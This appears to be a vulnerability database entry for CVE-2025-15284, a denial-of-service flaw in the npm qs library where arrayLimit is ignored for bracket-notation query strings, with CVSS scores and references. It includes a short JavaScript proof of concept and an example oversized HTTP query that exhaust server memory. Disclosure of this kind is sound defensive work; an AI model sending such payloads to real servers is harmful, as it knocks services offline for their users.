fkie_cve-2025-15284
Vulnerability from fkie_nvd
Published
2025-12-29 23:15
Modified
2025-12-29 23:15
Severity ?
Summary
Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.
SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.
DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoCTest 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Configuration:
* arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
* Use bracket notation: a[]=value (not indexed a[0]=value)
ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.
Attack scenario:
* Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
* Application parses with qs.parse(query, { arrayLimit: 100 })
* qs ignores limit, parses all 100,000 elements into array
* Server memory exhausted → application crashes or becomes unresponsive
* Service unavailable for all users
Real-world impact:
* Single malicious request can crash server
* No authentication required
* Easy to automate and scale
* Affects any endpoint parsing query strings with bracket notation
References
Impacted products
| Vendor | Product | Version |
|---|
{
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: \u003c 6.14.1.\n\n\nSummaryThe arrayLimit\u00a0option in qs does not enforce limits for bracket notation (a[]=1\u0026a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit\u00a0for DoS protection are vulnerable.\n\nDetailsThe arrayLimit\u00a0option only checks limits for indexed notation (a[0]=1\u0026a[1]=2) but completely bypasses it for bracket notation (a[]=1\u0026a[]=2).\n\nVulnerable code\u00a0(lib/parse.js:159-162):\n\nif (root === \u0027[]\u0027 \u0026\u0026 options.parseArrays) {\n obj = utils.combine([], leaf); // No arrayLimit check\n}\n\n\n\n\n\nWorking code\u00a0(lib/parse.js:175):\n\nelse if (index \u003c= options.arrayLimit) { // Limit checked here\n obj = [];\n obj[index] = leaf;\n}\n\n\n\n\n\nThe bracket notation handler at line 159 uses utils.combine([], leaf)\u00a0without validating against options.arrayLimit, while indexed notation at line 175 checks index \u003c= options.arrayLimit\u00a0before creating arrays.\n\nPoCTest 1 - Basic bypass:\n\nnpm install qs\n\n\n\n\n\nconst qs = require(\u0027qs\u0027);\nconst result = qs.parse(\u0027a[]=1\u0026a[]=2\u0026a[]=3\u0026a[]=4\u0026a[]=5\u0026a[]=6\u0027, { arrayLimit: 5 });\nconsole.log(result.a.length); // Output: 6 (should be max 5)\n\n\n\n\n\nTest 2 - DoS demonstration:\n\nconst qs = require(\u0027qs\u0027);\nconst attack = \u0027a[]=\u0027 + Array(10000).fill(\u0027x\u0027).join(\u0027\u0026a[]=\u0027);\nconst result = qs.parse(attack, { arrayLimit: 100 });\nconsole.log(result.a.length); // Output: 10000 (should be max 100)\n\n\n\n\n\nConfiguration:\n\n * arrayLimit: 5\u00a0(test 1) or arrayLimit: 100\u00a0(test 2)\n * Use bracket notation: a[]=value\u00a0(not indexed a[0]=value)\n\n\nImpactDenial of Service via memory exhaustion. Affects applications using qs.parse()\u00a0with user-controlled input and arrayLimit\u00a0for protection.\n\nAttack scenario:\n\n * Attacker sends HTTP request: GET /api/search?filters[]=x\u0026filters[]=x\u0026...\u0026filters[]=x\u00a0(100,000+ times)\n * Application parses with qs.parse(query, { arrayLimit: 100 })\n * qs ignores limit, parses all 100,000 elements into array\n * Server memory exhausted \u2192 application crashes or becomes unresponsive\n * Service unavailable for all users\nReal-world impact:\n\n * Single malicious request can crash server\n * No authentication required\n * Easy to automate and scale\n * Affects any endpoint parsing query strings with bracket notation"
}
],
"id": "CVE-2025-15284",
"lastModified": "2025-12-29T23:15:42.703",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"type": "Secondary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"type": "Secondary"
}
]
},
"published": "2025-12-29T23:15:42.703",
"references": [
{
"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
},
{
"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
}
],
"sourceIdentifier": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"vulnStatus": "Received",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-20"
}
],
"source": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"type": "Secondary"
}
]
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…